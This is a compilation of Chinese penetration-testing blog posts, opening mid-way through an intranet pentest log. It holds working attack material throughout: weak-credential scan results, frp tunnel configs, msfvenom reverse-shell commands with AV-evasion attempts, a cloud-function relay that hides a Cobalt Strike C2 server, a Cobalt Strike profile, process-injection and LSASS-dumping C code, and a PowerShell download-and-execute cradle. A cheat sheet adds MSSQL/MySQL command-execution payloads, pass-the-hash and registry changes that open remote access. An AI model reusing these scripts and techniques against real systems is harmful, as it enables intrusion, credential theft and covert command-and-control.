code:200 len:6391 title:None [*] WebTitle: http://172.16.2.60 code:200 len:6391 title:None [*] WebTitle: http://172.16.2.120:8080 code:403 len:266 title:403 Forbidden [+] 172.16.2.5 MS17-010 (Windows Server 2003 3790 Service Pack 2) [*] WebTitle: http://172.16.2.170 code:200 len:543 title:None [*] 172.16.2.84 (Windows Storage Server 2016 Standard 14393) [*] WebTitle: http://172.16.2.85 code:301 len:56 title:None ÞÀ│Þ¢¼url: https://172.16.2.85/ [*] 172.16.2.120 (Unix) [*] 172.16.2.150 (Windows 6.1) [*] 172.16.2.60 (Windows 6.1) [*] NetBios: 172.16.2.120 NVR\NVRAME Unix [*] NetBios: 172.16.2.84 ame-pro-nas.ame.local Windows Storage Server 2016 Standard 14393 [*] NetBios: 172.16.2.60 AME\nas-60 Windows 6.1 [*] WebTitle: https://172.16.2.170 code:200 len:543 title:None [+] received output: [*] WebTitle: https://172.16.2.85/ code:200 len:258 title:None [*] WebTitle: https://172.16.2.86/ code:200 len:258 title:None [*] WebTitle: https://172.16.2.11/ code:200 len:102 title:None [*] WebTitle: https://172.16.2.80:443/ code:200 len:3618 title:" + ID_VC_Welcome + " [*] WebTitle: https://172.16.2.70/ code:200 len:4149 title:Management [*] WebTitle: https://172.16.2.20:8443/Login/Index code:200 len:2839 title:Zentyal [*] WebTitle: https://172.16.2.85:9080 code:202 len:0 title:None [*] WebTitle: http://172.16.2.70:7070 code:404 len:201 title:None [*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458 title:None [+] InfoScan:https://172.16.2.80 [VMware vSphere] [*] WebTitle: https://172.16.2.83/restgui/start.html code:200 len:2458 title:None [*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458 title:None [*] WebTitle: http://172.16.2.72:8200 code:301 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.72:8200/Console/ [*] WebTitle: http://172.16.2.72:8200/Console/ code:404 len:0 title:None [*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458 title:None [*] NetBios: 172.16.2.150 wdmycloud Windows 6.1 [+] InfoScan:https://172.16.2.80:443/ [VMware vSphere] [*] WebTitle: https://172.16.2.72/appwall-webui/ code:200 len:4366 title:Radware Security Console [*] WebTitle: http://172.16.2.45:8080/logon.htm code:200 len:2872 title:APC | Log On [*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458 title:None [*] WebTitle: http://172.16.2.37/app_Login/ code:200 len:860 title:None [+] received output: ÕÀ▓Õ«îµêÉ 65/121 [-] ftp://172.16.2.45:21 wwwroot 123456!a 421 Service not available, closing control connection. [+] received output: ÕÀ▓Õ«îµêÉ 109/121 [-] ssh 172.16.2.87:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: [+] SSH:172.16.2.87:22:admin admin [+] received output: ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.70:22 admin test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.150:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 113/121 [-] ssh 172.16.2.38:22 admin abc123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 114/121 [-] ssh 172.16.2.117:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 wwwroot 1 Permission denied. [+] received output: ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data 123456 Permission denied. [+] received output: ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data sysadmin Permission denied. [+] received output: ÕÀ▓Õ«îµêÉ 121/121 [*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 10m41.0832671s2、fscan扫描出来的漏洞,一处postgres弱口令,一处ms17-010,一处ssh弱口令 Postgres:172.16.2.200:5432:postgres 123456 172.16.2.5 MS17-010 (Windows Server 2003 3790 Service Pack 2) SSH:172.16.2.87:22:admin adminfrp代理1、由于无法提权成功,所以我们决定换一种思路,先拿下内网中其他主机,提权到管理员权限,最后再对域控渗透。 2、服务器frps.ini设置 [common] bind_addr = 0.0.0.0 bind_port = 7080 token = admin123 dashboard_user = admin dashboard_pwd = admin1233、启动服务端 ./frps -c ./frps.ini 4、frpc.ini配置如下 [common] server_addr = xx.xx.xx.xx server_port = 7080 token = admin123 tls_enable=true pool_count=5 [plugin_socks] type = tcp remote_port = 4566 plugin = socks5 plugin_user = admin plugin_passwd = admin123 use_encryption = true use_compression = true5、将frpc.exe和frpc.ini上传到受害机 6、CS中运行命令 shell "C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.exe -c C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.ini" 7、在服务器上可以看到,已经有连接返回了 8、在攻击机火狐浏览器foxyproxy插件中配置代理服务器 9、在火狐浏览器中访问https://172.16.2.72/appwall-webui/成功,说明frp内网穿透成功 10、为了方便测试,使用proxifier作为全局代理 msf上线1、因为扫出来一个ms17010,所以我们需要针对此漏洞进行利用,我选用目前公开的一些工具,虽然都没有免杀,但还是记录一下 kali linux1、kali Linux中设置proxychains后无法使用,也没有找到原因,因为proxychains只支持http代理,我搭建的环境可以,但真实环境就不得行,搞不懂,有知道的大佬请指点一二,在下感激不尽! 潮汐在线免杀1、Metasploit 生成 C msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c 3、将生成的shellcode添加到潮汐shellcode免杀中,生成exe文件 4、上传执行后被杀软杀掉 Ant-AntV免杀1、msf生成bin文件 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=5555 -f raw -o 1.bin 2、将1.bin放到当前bean_raw路径下。执行python3 gen_trojan.py即可在当前dist目录下生成exe文件。 3、将exe文件上传到目标机器,执行shell C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/mail_update_a50ca.exe无法成功反弹shell,应该是被杀软杀了,因为我本地测试可以正常反弹 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.123.33 set LPORT 5555 exploit CuiRi免杀1、msf生成shellcode msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c2、生成免杀马 .\cuiri_win64.exe -f msf.txt 3、将生成的木马上传到目标主机,执行shell C:\usr\desarrollo\jboss-5.1.0.GA\server\sigAmeServer\deploy\ROOT.war\main.exe无法反弹shell,本地测试也是无法反弹shell AniYa免杀1、生成免杀马 2、将exe文件上传执行,无法绕过杀软,在本地测试可以成功上线 Postgresql getshell1、由于msf无法绕过杀软,我们决定从Postgresql入手,寻找突破点 2、开启proxifier代理工具 3、使用navicat连接postgresql 4、但是该机器是centos系统,我们要找的是Windows系统,所以先放弃这条路。 VMware vSphere1、有网站使用的是VMware vSphere 2、Google搜索一下VMware vSphere漏洞,有的版本存在RCE漏洞,决定尝试一下,发现不存在漏洞 总结1、针对此次内网渗透,我需要抓紧学习免杀相关的知识,目前公开的工具已经不能byAV。 2、kali Linux的proxychains代理在实战无法使用,后面我要去寻找原因。 3、fscan扫描出内网一些网站,我没有做深入的测试,因为时间确实不够了。 原文链接: https://xz.aliyun.com/t/12141
-
站库分离渗透思路技巧总结
前言看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧。 正文关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路。 对站库分离类型站点通常可以有两个渗透入口点: 1.web 网站 2.数据库渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。 从 web 网站打入进而打站库分离的数据库,内网渗透从数据库打入进而打站库分离的 web 网站,内网渗透根据不同的路径定制不同的渗透测试方案,下面记录一下流程和容易遇到的问题。 一、从 web 入口渗透 从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。 在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作。 二、从数据库入口渗透 但是这里要说主要是外网暴露的数据库入口点弱口令;web 网站 SQL 注入。 从数据库入口渗透,同样主要是为了获取更大的权限,或者扩展我们的渗透成果,比如从数据库里可以得到一些密码信息,用户名等,在后续的内网渗透中可以很有效的帮助我们。 站点是站库分离的,数据库和 web 不在同一台服务器上,这时候不能写入一句话木马通过 web 去连,因为路径没有用。如果是从 web 端找到的 SQL 注入,那么可以通过以下这些方式去做信息收集、获取权限。 1.MYSQL(1)定位 web 端 ip 地址 通过查询 information_schema 库中的 PROCESSLIST 可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的 ip:port。 select * from information_schema.PROCESSLIST; 在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。 (2)load_file () 获取数据库所在服务器的敏感信息如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。 select load_file('C:/test.txt');# 左斜杠 / 还可以获取网卡信息,比如读: /etc/udev/rules.d/70-persistent-net.rules获取网卡名称。 /etc/sysconfig/network-scripts/ifcfg-网卡静态IPDHCP的话/var/lib/dhclient/dhclient--网卡.lease2.MSSQL(1) 判断是否站库分离得到客户端主机名 select host_name(); 得到服务端主机名 select @@servername; 根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。 (2)存储过程执行命令我们可以通过 MSSQL 的存储过程执行系统命令,可以尝试直接提升权限后渗透其他主机, 常用到的两个: XP_CMDSHELLSP_OACREATE可以探测数据库服务器是否出网,通过执行 ping 或者 curl 看是否出网,通常遇到 MSSQL 我们直接就通过命令执行上线了。 同样是数据库,自然其中有一些敏感信息,为了进一步渗透,可以整理密码本或者其他信息。
-
利用腾讯云函数上线CS
首先,我们需要登录腾讯云,开启云函数。 登录腾讯云后,搜索云函数。开通即可。 初次登录,需要授权。 登录控制台后,点击新建。 函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。 复制下面代码,并修改服务器地址。 # coding: utf8 import json,requests,base64 def main_handler(event, context): response = {} path = None headers = None try: C2='http://43.134.164.72:80' if 'path' in event.keys(): path=event['path'] if 'headers' in event.keys(): headers=event['headers'] if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } except Exception as e: print('error') print(e) finally: return response 完成后,点击保存! 接着点击触发管理,创建触发器 格式如下 点击api名称编辑后到达此页面,路径修改为/ 完成 后点击 发布服务 新增C2的profile文件,命名为win_tecent_cloud_func.profile set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } } 保存完成后,存放在cs目录下。 启动cs服务端 ./teamserver vpsip admin12345 win_tecent_cloud_func.profile 将云函数的公网接口地址域名填入listener的http hosts和stager的hosts 注意不要http 和80 添加监听 生成shell后成功上线。 原文连接: https://blog.bbskali.cn/3771.html
-
SaaS-API越权漏洞检测系统
概述通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞 特点 支持HTTPS自动过滤图片/js/css/html页面等静态内容多线程检测,避免阻塞支持输出报表与完整的URL、请求、响应安装和使用 安装依赖 git clone https://github.com/y1nglamore/IDOR_detect_tool.git启动 即可监听socks5://127.0.0.1:8889。 安装证书 使用SwitchOmega等插件连接该代理,并访问mitm.it即可进入证书安装页面,根据操作系统进行证书安装。 以MacOS为例: 下载安装后,打开钥匙串访问,找到mitmproxy证书,修改为alwaystrust 检测漏洞 首先准备好目标系统的A、B两账号,根据系统的鉴权逻辑(Cookie、header、参数等)将A账号信息配置config/config.yml,之后登录B账号 使用B账号访问,脚本会自动替换鉴权信息并重放,根据响应结果判断是否存在越权漏洞 生成报表 每次有新漏洞都会自动添加到report/result.html中,通过浏览器打开: 点击具体条目可以展开/折叠对应的请求和响应: 检测逻辑 原文连接:https://github.com/y1nglamore/IDOR_detect_tool
-
实战还原--从大黄蜂样本到域控管理员技术解析
0 前言实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。 《BumbleBee Roasts Its Way To Domain Admin》原文链接 1 第一天(Day1)1.1 样本投递看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下: 1.1.1 rundll32解析使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell: set srvhost 10.x.x.x exploit 1.2 加载恶意程序大黄蜂(BumbleBee)加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。 wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述,攻击者此刻是具备至少Administrator权限,一般情况下具备了Administrator权限也就有了System权限,从文章描述来看,攻击者使用了getsystem来提权。远线程注入实例代码如下: BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){ HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄 dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小 pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内 ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程 ::CloseHandle(hProcess); return TRUE; } 1.3 被控主机信息收集攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息: #获取网络信息包含domain ping -n 1 [domain] #测试domain连通性 net group "domain admins" /domain #获取域管组成员 nslookup x.x.x.x #获取x.x.x.x IP地址 tasklist #获取进程信息 systeminfo #获取系统信息 wmic product get name,version #获取软件信息 wmic /node"<redacted> process list brief #获取进程信息 net view \\<redacted>\Files$ /all #列远程服务器Files共享目录 dir \\<redacted>\c$\ #列c盘目录 tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息 net use net group "Domain computers" /domain net group "Enterprise admins" /domain net group "domain computers" /domain net localgroup administrators nltest /dclist nltest /domain_trusts ping -n 1 <remote_ip> 根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。 1.4 横向移动到服务器并继续收集信息原文描述利用local admin账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门,然后开始利用adfind.exe继续进行信息收集(根据描述,看来该服务器在域内): "(objectcategory=person)" > ad_users.txt cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt cmd.exe /C af.exe -sc trustdump > trustdump.txt cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt 2 第二天(Day2)2.1 在服务器上继续收集信息攻击者继续使用RDP登录该服务器,并上传了VulnRecon,一款专门设计用来在Windows机器上标识权限提升的路径的工具。 3 第四天(Day4)3.1 在被控主机上继续收集信息攻击者在被控主机上及环境中的多台机器,上传了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据,根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上,当然也不排除在新的横移到的主机上进行。 "(objectcategory=person)" > ad_users.txt cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt cmd.exe /C adfind.exe -sc trustdump > trustdump.txt 3.1.1 VulnRecon 解析VulnRecon有一个可执行文件和一个dll组成,分别是vulnrecon.exe和vulnrecon.dll,用来枚举权限提升的方式以及信息收集,看起来是自定义的工具,上传到原始被控主机上,当然也不排除在新的横移到的主机上进行。 # #vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb #vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb # command vulnrecon.exe -v vulnrecon.exe -o vulnrecon.exe -FindVulnerability vulnrecon.exe -i vulnrecon.exe -m cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt 看起来提权是为了执行procdump获取lsass内存的,发生在原始被控主机上。 ### 3.2 获取lsass中的凭据根据描述dump出来的文件保存在ProgramData中,利用net use等方式可以获取回来,使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。 4 第七天(Day7)4.1 在被控服务器上继续收集信息攻击者持续使用VulnRecon在服务器上进行信息收集,并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。 "C:\ProgramData\seatinfo.txt" vulnrecon.exe -o vulnrecon.exe -v vulnrecon.exe -m cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt 5 第十一天(Day11)5.1 在被控主机上反弹shell攻击者持续被控主机上执行powershell命令,下载执行a文件的内容: -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))" 根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定,这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。 然后开始向其他进程进行注入,根据原文描述,应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast,开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。 #父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8 # 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解 5.1.1 kerberoasting攻击解析kerberoasting攻击解析分为两种:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell进行,其获取的事Net-NTLMHash,可以使用hashcat等工具进行破解从而获得ntlmhash或者password。 5.2 使用Minidump进行凭据提取攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。 #父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full 5.2.1 Minidump解析攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。 #include <stdio.h> #include <Windows.h> #include <tlhelp32.h> typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); int GetLsassPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &entry)) { while (Process32Next(hSnapshot, &entry)) { if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) { return entry.th32ProcessID; } } } CloseHandle(hSnapshot); return 0; } void GetDebugPrivilege() { BOOL fOk = FALSE; HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } } void DumpLsass() { wchar_t ws[100]; _MiniDumpW MiniDumpW; MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full"); GetDebugPrivilege(); MiniDumpW(0, 0, ws); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DumpLsass(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 我自己曾经编译过该文件,在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。 编译和使用方式参考 5.3 在被控主机上继续信息收集在初始被控主机上继续使用adfind收集信息。 "(objectcategory=person)" > ad_users.txt cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt cmd.exe /C adfind.exe -sc trustdump > trustdump.txt 5.4 在初始被控机器上再次执行powershell,与之前的相同攻击者持续被控主机上执行powershell命令,下载执行a文件的内容: -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))" 以上过程在5.1中有详细描述不再赘述 5.5 在更多机器上信息收集在更多机器上执行下列命令: whoami C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain] 5.6 两个批处理脚本攻击者上传并执行两个脚本s.bat和w.bat,这两个脚本可以分析和发现环境内的其他目标。 # s.bat echo off for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log # w.bat @echo off for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log 5.7 最后两个脚本运行之后,一个新的cobalt strike的session在初始被控的机器上再次运行上线,然后攻击者使用一个服务账号进行横移,在域控上执行获取一个cobalt strike的session,根据原文描述这里是一个弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来,攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限,打穿域控 原文来源: https://www.cnblogs.com/KevinGeorge/p/16595912.html
-
内网渗透流水账
0x00 环境Linux主机www权限主机无法出外网正向代理无法使用B段内网0x01 收集信息F-Scrack.py获取Redis, ES等 PS: Scrack.py的mssql模块爆破不准确,可以自己写一个简单的 python Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 61.Rediskey较多的时候不要使用keys * 查看基本信息: master,数量,版本号 使用scan查看keys: scan 0 match * count 100 查看类型: type <key> hash类型: hgetall <key>2.MySQLwindows下可以先测试是否可写入插件目录: select @@plugin_dir; select hello into outfile <plugin_dir>;然后使用msf的自带的udf,先转换为16进制,然后导出到插件目录: use test; set @a=concat('', 0x<hex_of_exe>); create table Ghost(data LONGBLOB); insert into Ghost values(""); update Ghost set data = @a; select data from Ghost into DUMPFILE <dir>; create function sys_eval returns string soname 'sys_eval.dll'; drop function sys_eval; //用完删除,养成好习惯首选SYS_EVAL, 尽量不要使用SYS_EXEC(会崩溃) 3.mssqlmssql爆破尽量放在后面执行,动静会比较大。 mssql爆破成功之后,最好使用CLR来获取权限,直接使用`xp_cmdshell`会死翘翘,360会拦截 已知mssql的用户密码,certutil等工具会被拦截或者报警,可以使用mssql自带的工具写入到硬盘: 现开启存储过程: sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; mssql写大文件比如exe之类的先转换为hex,然后再写入到文件: xxd -plain /tmp/test.exe | tr -d '\n' > /tmp/dll.hex declare @hexstring varchar(max); set @hexstring = '转换之后的hex'; declare @file varbinary(max); set @file = (select cast('' as xml).value('xs:hexBinary( substring(sql:variable("@hexstring"), sql:column("t.pos")) )', 'varbinary(max)') from (select case substring(@hexstring, 1, 2) when '0x' then 3 else 0 end) as t(pos)); select @file; declare @init int; declare @filepath nvarchar(4000) = N'c:\22.exe'; EXEC sp_OACreate 'ADODB.Stream', @init OUTPUT; -- An instace created EXEC sp_OASetProperty @init, 'Type', 1; EXEC sp_OAMethod @init, 'Open'; -- Calling a method EXEC sp_OAMethod @init, 'Write', NULL, @file; -- Calling a method EXEC sp_OAMethod @init, 'SaveToFile', NULL, @filepath, 2; -- Calling a method EXEC sp_OAMethod @init, 'Close'; -- Calling a method EXEC sp_OADestroy @init; -- Closed the resources4.mssql备份BACKUP DATABASE <db> TO DISK = 'C:\Windows\temp\db.bak' WITH COMPRESSION, INIT, STATS = 5;分卷压缩rar.exe a -m0 -v100m C:\windows\temp\db.split C:\windows\tasks\db.bak download C:\\windows\\temp\\db.split.rar /var/tmp/6.pthwmiwmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"推荐使用wmiexec.vbs: https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs cscript C:\Windows\Tasks\aliwmi.vbs /cmd <ip> "C:\Windows\system32\calc.exe"msfuse exploit/windows/smb/psexec show options set RHOST 192.168.81.129 set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF set SMBUser Administrator show options runmimikatz || Cobalt Strikemimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF /run:cmd.exe" //传递hashpsexecpsexec /accepteula //接受许可协议 sc delete psexesvc psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe psexec.vbscscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"远程命令执行scnet use \\192.168.17.138\c$ "admin123" /user:pt007 net use dir \\192.168.17.138\c$ copy test.exe \\192.168.17.138\c$ sc \\192.168.17.138 create test binpath= "c:\test.exe" sc \\192.168.17.138 start test sc \\192.168.17.138 del test windows远程执行cmd的9种方法: https://xz.aliyun.com/t/5957 0x03 access is denied对于任何非RID 500的本地管理员(Administrator)连接到Windows Vista+的计算机,无论采用wmi、psexec还是其它方法,使用的令牌都是中等令牌, 使用wmiexec的时候会修暗示Access is Denied 在抓取hash的情况下,可以修改注册表,使得本地管理员组成员都可以远程连接,作为一种持久化的手段。 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f ###RDP的PTH 抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要被登录的系统开启”Restricted Admin Mode”, 在Windows8.1和Windows Server 2012R2上默认开启。Windows7和WinServer 2008需要安装2871997、2973351布丁。 1.启动RDPREG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口 开启3389 wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 2.开启Restricted Admin modeREG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f3.增加防火墙规则netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=TCP localport=3389 action=allow0x04 dump passwod####dbeaver dbeaver6的配置文件(不同版本存储的位置和解密方式不一样): #密码加密存储位置: C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\credentials-config.json #url和用户名: C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\data-sources.json解密脚本: 